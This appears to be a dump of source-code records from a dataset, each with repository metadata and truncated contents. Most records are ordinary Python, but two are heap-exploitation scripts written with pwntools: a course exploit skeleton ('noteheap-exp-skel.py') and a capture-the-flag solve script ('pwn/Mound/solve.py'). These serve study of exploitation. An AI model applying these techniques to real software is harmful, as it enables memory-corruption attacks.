69a5475be1149f50927b6069b6e05505f6d60ce1
3,765
py
Python
data-viz.py
hakimny/viz-homework
7b2f30bba6510b1d1e7a5c8480edbd7e774a4202
[ "MIT" ]
null
null
null
data-viz.py
hakimny/viz-homework
7b2f30bba6510b1d1e7a5c8480edbd7e774a4202
[ "MIT" ]
null
null
null
data-viz.py
hakimny/viz-homework
7b2f30bba6510b1d1e7a5c8480edbd7e774a4202
[ "MIT" ]
null
null
null
import pandas as pd import numpy as np import matplotlib.pyplot as plt import os from mpl_toolkits.mplot3d import Axes3D diabetes_data = pd.read_csv(filepath_or_buffer='data/diabetes.data', sep='\t', header=0) #Create Scatter Data images for 3 features at a time for col1_id...
43.77907
167
0.66162
69e9eeb43d644ebb86c9d09ef4b94c4de5adb7bb
511
py
Python
tests/tests_default_connections.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
12
2021-10-05T11:38:24.000Z
2022-03-25T09:56:08.000Z
tests/tests_default_connections.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
6
2021-10-06T13:27:55.000Z
2022-03-10T12:55:15.000Z
tests/tests_default_connections.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
4
2022-02-21T19:00:50.000Z
2022-03-22T11:01:38.000Z
import os from hisim import hisim_main from hisim.simulationparameters import SimulationParameters import shutil def test_basic_household_with_default_connections(): #if os.path.isdir("../hisim/inputs/cache"): # shutil.rmtree("../hisim/inputs/cache") path = "../examples/basic_household.py" func = "...
36.5
84
0.765166
69ee0caa05a9dc4bc8517b2564f9cfe68dfdbb3f
2,597
py
Python
src/onegov/gis/forms/fields.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gis/forms/fields.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gis/forms/fields.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from base64 import b64decode, b64encode from onegov.core.custom import json from onegov.form.display import registry, BaseRenderer from onegov.gis.forms.widgets import CoordinatesWidget from onegov.gis.models import Coordinates from wtforms.fields import StringField class CoordinatesField(StringField): """ Repres...
30.552941
77
0.621486
2a3103430c918577e258b84c144f9f1ca30812cb
1,139
py
Python
aoc2020/day_22/part_1.py
en0/aoc2020
a2f41b909dffe1f366682b3d03fd5fbdbc924ec0
[ "MIT" ]
null
null
null
aoc2020/day_22/part_1.py
en0/aoc2020
a2f41b909dffe1f366682b3d03fd5fbdbc924ec0
[ "MIT" ]
null
null
null
aoc2020/day_22/part_1.py
en0/aoc2020
a2f41b909dffe1f366682b3d03fd5fbdbc924ec0
[ "MIT" ]
null
null
null
from aoc2020 import * from collections import deque class Solution(SolutionABC): expected = 306 def solve(self) -> any: p1, p2 = self.load_decks() count = 0 while len(p1) != 0 and len(p2) != 0: count += 1 #print(f"ROUND {count}") #print("p1", p1) ...
24.234043
98
0.46971
2d637c34a602b15c8c5909a48a351f5365708db8
1,494
py
Python
challenge31/noteheap-exp-skel.py
dobin/yookiterm-challenges-files
81daab38d83bdc083bd9a66e90eea1397c5e30ed
[ "MIT" ]
17
2017-05-03T22:00:30.000Z
2021-12-07T10:15:41.000Z
challenge/31/src/noteheap-exp-skel.py
roo7vijos1/exploit-courses
a13c95726d330081ca4db77aa8391dcd4c6fcb00
[ "MIT" ]
2
2017-06-16T02:09:05.000Z
2018-03-01T08:58:24.000Z
challenge/31/src/noteheap-exp-skel.py
roo7vijos1/exploit-courses
a13c95726d330081ca4db77aa8391dcd4c6fcb00
[ "MIT" ]
11
2017-05-04T13:04:21.000Z
2020-12-15T23:00:02.000Z
#!/usr/bin/env python from pwn import * import subprocess import sys import time ELF_PATH = "./noteheap" context.arch = 'i386' context.os = 'linux' context.endian = 'little' context.word_size = 64 context.log_level = 'INFO' elf = ELF(ELF_PATH) def alarm_add(alarmName): r.sendline("alarm add " + alarmName) def a...
21.042254
103
0.680723
2dda9cd25e3f0bc54d6cf8596680e83a8d6d9015
3,037
py
Python
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/havaGen.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2019-07-29T02:53:51.000Z
2019-07-29T02:53:51.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/havaGen.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2021-09-11T14:30:32.000Z
2021-09-11T14:30:32.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/havaGen.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
2
2016-12-19T02:27:46.000Z
2019-07-29T02:53:54.000Z
#!/usr/bin/env python """ havaGen is for generating sequence files of the imaginary type 'hava'. These files consist of attributes in the following newline seperated order hava quarzk muchalo fakours selimizicka marshoon Since this 'sequence' has absolutely no utility outside of screed, it's only purpose is to make s...
32.308511
108
0.62891
93601936ee424efeaaabc8e92774afcb9634d136
852
py
Python
826/Fcat_826_sort.py
Leetcode-Secret-Society/warehouse
40d7969683b1296f361e799cda37f15ceec52af8
[ "MIT" ]
null
null
null
826/Fcat_826_sort.py
Leetcode-Secret-Society/warehouse
40d7969683b1296f361e799cda37f15ceec52af8
[ "MIT" ]
null
null
null
826/Fcat_826_sort.py
Leetcode-Secret-Society/warehouse
40d7969683b1296f361e799cda37f15ceec52af8
[ "MIT" ]
null
null
null
from typing import List class Solution: def maxProfitAssignment(self, difficulty: List[int], profit: List[int], worker: List[int]) -> int: profit_difficulty = {} for i in range(len(profit)): profit_difficulty[profit[i]] = min(difficulty[i], profit_difficulty.get(profit[i], difficulty[...
35.5
110
0.589202
17b96a0ac15a0fe3b885850e538ddeaf4f1312d8
484
py
Python
frappe-bench/apps/erpnext/erpnext/agriculture/doctype/soil_analysis/soil_analysis.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/agriculture/doctype/soil_analysis/soil_analysis.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/agriculture/doctype/soil_analysis/soil_analysis.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document class SoilAnalysis(Document): def load_contents(self): docs = frappe.get_al...
37.230769
100
0.762397
1064edd9327c9874ba52d70b4fc96d607b186e8b
3,556
py
Python
option/option.py
dustinmaurer/options-strategy-backtester
1974bfd672d163a39f928208f36a8470a99e1a48
[ "MIT" ]
null
null
null
option/option.py
dustinmaurer/options-strategy-backtester
1974bfd672d163a39f928208f36a8470a99e1a48
[ "MIT" ]
null
null
null
option/option.py
dustinmaurer/options-strategy-backtester
1974bfd672d163a39f928208f36a8470a99e1a48
[ "MIT" ]
1
2021-04-11T07:18:55.000Z
2021-04-11T07:18:55.000Z
"""The Option oobject stores (or solves for) all attributes of an option""" import scipy.stats as sps from scipy.special import ndtri import numpy as np from datetime import date, timedelta class Option: def __init__(self, underlying, kind, strike, expiration, iv=.2, value=None, delta=None): """ A ...
30.655172
147
0.580427
dc2752138dc3284f2cc86dc7b10a6c3978ff0d3e
339
py
Python
Python1/aula5.py
Belaschich/SoulON
9f908b025b34fc79187b4efd5ea93a78dca0ef7e
[ "MIT" ]
null
null
null
Python1/aula5.py
Belaschich/SoulON
9f908b025b34fc79187b4efd5ea93a78dca0ef7e
[ "MIT" ]
null
null
null
Python1/aula5.py
Belaschich/SoulON
9f908b025b34fc79187b4efd5ea93a78dca0ef7e
[ "MIT" ]
null
null
null
''' 1-Crie uma string contendo o alfabeto com letras maiúsculas separado por espaços. 2-Percorra e imprima essa string com enumerate. 3-Substitua os espaços por traço. “-” e imprima para o usuário. ''' alfa = "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z" for k, v, in enumerate(alfa): print(k,v) print(alfa...
30.818182
81
0.669617
dc693b2cf7eef93ca2889fd2ca1de83ca8a52288
246
py
Python
leetcode/055-Jump-Game/JumpGame_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
leetcode/055-Jump-Game/JumpGame_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/055-Jump-Game/JumpGame_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def canJump(self, nums): n = len(nums) nearestrue = n - 1 for i in range(n - 1, -1, -1): if i + nums[i] >= nearestrue: nearestrue = i return nearestrue == 0
24.6
41
0.479675
528e38bce42511e89b611382845cea20337db657
1,597
py
Python
src/bo4e/com/energieherkunft.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
src/bo4e/com/energieherkunft.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
src/bo4e/com/energieherkunft.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
""" Contains Energieherkunft class and corresponding marshmallow schema for de-/serialization """ from decimal import Decimal import attr from marshmallow import fields from marshmallow_enum import EnumField # type:ignore[import] from bo4e.com.com import COM, COMSchema from bo4e.enum.erzeugungsart import Erzeugungs...
31.94
185
0.743269
871153c2f35e125b405e50c4dbc3cbf1ee48921f
1,260
py
Python
warp/data/decorator.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
warp/data/decorator.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
warp/data/decorator.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
# std import functools from abc import abstractmethod # extern # warp # types from typing import Tuple class Decorator: """ TODO """ __cache__ = dict() def __init__(self, func): functools.update_wrapper(self, func) if isinstance(func, Decorator): func.__set_name__(s...
24.230769
104
0.605556
874bad8ca16c8dfd6e530511457a84afc8da243f
3,627
py
Python
bot/bot.py
thecoderkitty/fluffington-bot
f518e7b66487aaf9e6c507ced43e15760d604be2
[ "MIT" ]
null
null
null
bot/bot.py
thecoderkitty/fluffington-bot
f518e7b66487aaf9e6c507ced43e15760d604be2
[ "MIT" ]
null
null
null
bot/bot.py
thecoderkitty/fluffington-bot
f518e7b66487aaf9e6c507ced43e15760d604be2
[ "MIT" ]
null
null
null
import asyncio import logging import socket import coloredlogs import arrow import aiohttp import discord from discord import Embed from discord.ext import commands import bot.constants as constants from bot.database.database import connect from bot.utils.bot_prefix import BotPrefixHandler logger = logging.getLogger...
32.097345
108
0.648746
1d78aa521b92dc5cfc65dab85912b2b1bd2794a4
81
py
Python
WiFiBroot-master/utils/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
WiFiBroot-master/utils/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
WiFiBroot-master/utils/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
from tabulater__ import tabulate from macers import org from macers import Modes
20.25
32
0.851852
d5ad937a36ae4e9f925a995305680986efb22b12
7,935
py
Python
app/__init__.py
nucleo-de-telessaude-do-maranhao/abtms
8d1b1df223d9f07fc4447836011f3e3678625d59
[ "MIT" ]
null
null
null
app/__init__.py
nucleo-de-telessaude-do-maranhao/abtms
8d1b1df223d9f07fc4447836011f3e3678625d59
[ "MIT" ]
null
null
null
app/__init__.py
nucleo-de-telessaude-do-maranhao/abtms
8d1b1df223d9f07fc4447836011f3e3678625d59
[ "MIT" ]
1
2019-03-13T14:34:24.000Z
2019-03-13T14:34:24.000Z
# -*- coding: utf-8 -*- from flask import Flask, render_template, jsonify, session, request, redirect from flask_mail import Mail from flask_mail import Message app = Flask(__name__, static_folder='static', static_url_path='') app.config["SECRET_KEY"] = "@session" from app.controllers.auth import UserController f...
27.362069
187
0.665911
63d71a8ca4889c2f3d2ed02266824cc31d00bfcb
1,215
py
Python
data_tests/row_sum_boost.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
data_tests/row_sum_boost.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
data_tests/row_sum_boost.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
import numpy as np from transonic import boost, Array T_index = np.int32 # we use a type variable because it can be replaced by a fused type. T = np.int64 A1d_i = Array[T_index, "1d"] A1d = Array[T, "1d"] A2d = Array[T, "2d"] V1d_i = Array[T_index, "1d", "memview"] V1d = Array[T, "1d", "memview"] V2d = Array[T, "2d",...
25.3125
76
0.649383
7f98c919d9493251e10dc9401355ba04488bb012
1,608
py
Python
modeling/head/auxiliary_fcn.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
2
2020-12-22T08:40:05.000Z
2021-03-30T08:09:44.000Z
modeling/head/auxiliary_fcn.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
modeling/head/auxiliary_fcn.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ @description: @author: LiuXin @contact: xinliu1996@163.com @Created on: 2020/11/11 下午2:37 """ import torch import torch.nn as nn import torch.nn.functional as F from modeling.model_utils.backbone2head import get_inchannels,get_low_level_feat class AuxiliaryFCN(nn.Module): def __init__...
35.733333
114
0.563433
d636a2c1b70d27b22bcf055c4e5b40f4f3f926e4
2,052
py
Python
micropython/sd/smain.py
webbhm/PiRock
2c8f328bf212d8bcac88061fd1ba23866746626a
[ "Apache-2.0" ]
null
null
null
micropython/sd/smain.py
webbhm/PiRock
2c8f328bf212d8bcac88061fd1ba23866746626a
[ "Apache-2.0" ]
null
null
null
micropython/sd/smain.py
webbhm/PiRock
2c8f328bf212d8bcac88061fd1ba23866746626a
[ "Apache-2.0" ]
null
null
null
""" Called on power up from boot.py Log sensors, turn off power, go back to sleep Author: Howard Webb Date: 11/13/2020 """ from LogSensors import LogSensors import machine from pyb import Pin, LED, RTC, standby from utime import sleep led_R = LED(1) led_G = LED(2) led_B = LED(3) def shut_down(): #machine.deeps...
24.141176
107
0.631579
d64f71ec4bb104d26303119aca2d13e4a8b5af2e
4,442
py
Python
pwn/Mound/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/Mound/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/Mound/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
from pwn import * e = ELF("./src/mound/mound", checksec=False) context.binary = e p = remote(args.HOST, int(args.PORT)) if args.REMOTE else e.process() mcache = (0xbeef << 28) + 0x10 mound_main = (0xdead << 28) def glibc(idx, data): p.sendlineafter("> ","1") p.sendafter(": ", data) p.sendlineafter(": ", str...
31.503546
124
0.580369
d659b7ea0d8b5679c43f40365476960af3d7126d
34,816
py
Python
Packs/qualys/Integrations/Qualysv2/Qualysv2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
1
2022-03-15T13:16:24.000Z
2022-03-15T13:16:24.000Z
Packs/qualys/Integrations/Qualysv2/Qualysv2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
87
2022-02-23T12:10:53.000Z
2022-03-31T11:29:05.000Z
Packs/qualys/Integrations/Qualysv2/Qualysv2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import re import Qualysv2 import pytest import requests from Qualysv2 import is_empty_result, format_and_validate_response, \ parse_two_keys_dict, create_ip_list_dicts, build_args_dict, handle_general_result, \ change_dict_keys, COMMANDS_ARGS_DATA, limit_ip_results, Client, build_host_list_detection_outputs, \...
36.648421
120
0.561983
61abdc71919d559fc7fa7d3ca9cc2b86ebda7696
44,866
py
Python
Packs/NetscoutAED/Integrations/NetscoutAED/NetscoutAED.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/NetscoutAED/Integrations/NetscoutAED/NetscoutAED.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/NetscoutAED/Integrations/NetscoutAED/NetscoutAED.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * # noqa # pylint: disable=unused-wildcard-import from CommonServerUserPython import * # noqa import requests import copy # Disable insecure warnings requests.packages.urllib3.disable_warnings() # pylint: disable=no-member ''' CONSTANTS ''' DATE_FORMAT...
41.581094
119
0.647818
4ef4efcaf4e891d656b5060bc4bbe8d9cee52a03
32,088
py
Python
.arch/call_flow_logging.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
24
2021-10-04T22:11:59.000Z
2022-02-02T21:51:43.000Z
.arch/call_flow_logging.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
2
2021-10-04T21:51:30.000Z
2021-10-05T14:15:31.000Z
.arch/call_flow_logging.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
null
null
null
import os, json, sys, time from devapp.tools import FLG, exists, project, write_file, read_file from devapp.tools import define_flags, project, to_list import inspect, shutil from functools import partial, wraps from .call_flow_charting import make_call_flow_chart from theming.formatting.markdown import Mkdocs, deinden...
31.062924
132
0.527986
149b3032de53559c32ffe5a979525adcff4e5870
492
py
Python
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.19-exer-2.alod-bolod.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.19-exer-2.alod-bolod.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.19-exer-2.alod-bolod.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
# I do it input_str = input("Please input a string: ") length = len(input_str) new_str = "" i = 0 if length % 2 == 0: while i < length: first_value = input_str[i] new_str = new_str + input_str[i+1] new_str = new_str + first_value i += 2 else: while i < length-1: first_...
20.5
44
0.579268
1ada8f46dc2443a8c7fc379dd9fc03c9094cb3ef
24
py
Python
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/HTSeq-0.5.3p9-py2.7-linux-x86_64.egg/HTSeq/_version.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2019-07-29T02:53:51.000Z
2019-07-29T02:53:51.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/HTSeq-0.5.3p9-py2.7-linux-x86_64.egg/HTSeq/_version.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2021-09-11T14:30:32.000Z
2021-09-11T14:30:32.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/HTSeq-0.5.3p9-py2.7-linux-x86_64.egg/HTSeq/_version.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
2
2016-12-19T02:27:46.000Z
2019-07-29T02:53:54.000Z
__version__ = "0.5.3p9"
12
23
0.666667
1ae68abcba30aa851612c26b63801b948a494aab
677
py
Python
source/pkgsrc/devel/texttest/patches/patch-texttestlib_default_____init____.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/texttest/patches/patch-texttestlib_default_____init____.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/texttest/patches/patch-texttestlib_default_____init____.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-texttestlib_default_____init____.py,v 1.1 2020/04/18 19:42:18 schmonz Exp $ Find pkgsrc-provided diff tools. --- texttestlib/default/__init__.py.orig 2020-03-23 09:09:04.000000000 +0000 +++ texttestlib/default/__init__.py @@ -1422,7 +1422,7 @@ class Config: def defaultDiffProgram(self): i...
42.3125
90
0.57164
2145293ab774a8d301ccdb07a11be097c356057b
3,006
py
Python
python/linear_math.py
Kalpavrikshika/Motorolla_IoT
7958ce20a2c93e3e4aca807961287f124d1dc2a2
[ "Apache-2.0" ]
null
null
null
python/linear_math.py
Kalpavrikshika/Motorolla_IoT
7958ce20a2c93e3e4aca807961287f124d1dc2a2
[ "Apache-2.0" ]
null
null
null
python/linear_math.py
Kalpavrikshika/Motorolla_IoT
7958ce20a2c93e3e4aca807961287f124d1dc2a2
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import math from decimal import Decimal class Linear: '''brief Linear Congruential temprature data generator * * x = (a * x + c) mod m * Temperature range is set between 10°C and 42°C * Outside these ranges the generated values will be reset * ...
35.785714
81
0.55356
dcf66d283f54b260f4761b0de78573ea52c45cb9
524
py
Python
nz_django/day1/template_variable_demo/template_variable_demo/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_django/day1/template_variable_demo/template_variable_demo/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_django/day1/template_variable_demo/template_variable_demo/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from django.shortcuts import render class Person(object): def __init__(self,username): self.username = username def index(request): # p = Person('wh_kangbazi') # context = { # 'person':p # } # context = { # 'person':{ # 'username':'kangbazi', # 'passw...
20.96
55
0.477099
6ce2fb80710654828d6f3703f213124b362a79ec
616
py
Python
app/views/models/commons.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
app/views/models/commons.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
app/views/models/commons.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
from flask_restplus import Model, fields from flask_restplus.reqparse import RequestParser paginate = RequestParser() paginate.add_argument('page', location='args', type=int, help='The page begin number') paginate.add_argument('per_page', location='args', type=int, help='The number in every page') paginate_model = Mo...
47.384615
95
0.756494
392bf13598ba7d54e6460548a96ba0d0d6aa9e70
317
py
Python
P8702N/status.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2017-12-12T13:58:08.000Z
2017-12-12T13:58:08.000Z
P8702N/status.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
null
null
null
P8702N/status.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2019-11-03T10:16:35.000Z
2019-11-03T10:16:35.000Z
import impat impat.addfolder('python') import requests from FunCom import find_between from session import host, cookies f = requests.get('http://%s/pages/connectionStatus/content/status.html' % host, cookies=cookies) print(find_between(f.text, "timeNow = '","';")) print(find_between(f.text, "SysUpTime = '","';"))
31.7
96
0.73817
394c5ab5d12302a038ed8a3cb8e8989a9f3c964e
6,054
py
Python
official/recommend/tbnet/src/aggregator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/recommend/tbnet/src/aggregator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/recommend/tbnet/src/aggregator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
39.828947
120
0.612653
203dd83eb46548c5d86644205b33704a2f764187
615
py
Python
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/15.06-Constructor-Inheritance3-super-methods2.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/15.06-Constructor-Inheritance3-super-methods2.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/15.06-Constructor-Inheritance3-super-methods2.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
class A: def __init__(self): print("At A init") def feature1(self): print("Feature 1 working") def feature2(self): print("Feature 2 working") class B: def __init__(self): print("At B init") def feature3(self): print("Feature 3 working") def feature4(...
16.621622
34
0.552846
6445fb08266c1b179f71cd5fc7abfe632ba6d6f5
2,252
py
Python
spider/worker_International_Relations_od.py
iecasszyjy/tweet_search-master
e4978521a39964c22ae46bf35d6ff17710e8e6c6
[ "MIT" ]
null
null
null
spider/worker_International_Relations_od.py
iecasszyjy/tweet_search-master
e4978521a39964c22ae46bf35d6ff17710e8e6c6
[ "MIT" ]
2
2021-03-31T18:54:16.000Z
2021-12-13T19:49:08.000Z
spider/worker_International_Relations_od.py
iecasszyjy/tweet_search-master
e4978521a39964c22ae46bf35d6ff17710e8e6c6
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- # 爬取推文 import time import json import multiprocessing from multiprocessing import Pool from Config_International_Relations_od import get_noau_config got, db, r = get_noau_config() # 文件和数据库配置 def advance_search_dataset(q, f, num, event_id): # 获取推文,放入MongoDB数据库 collection =...
35.746032
109
0.606572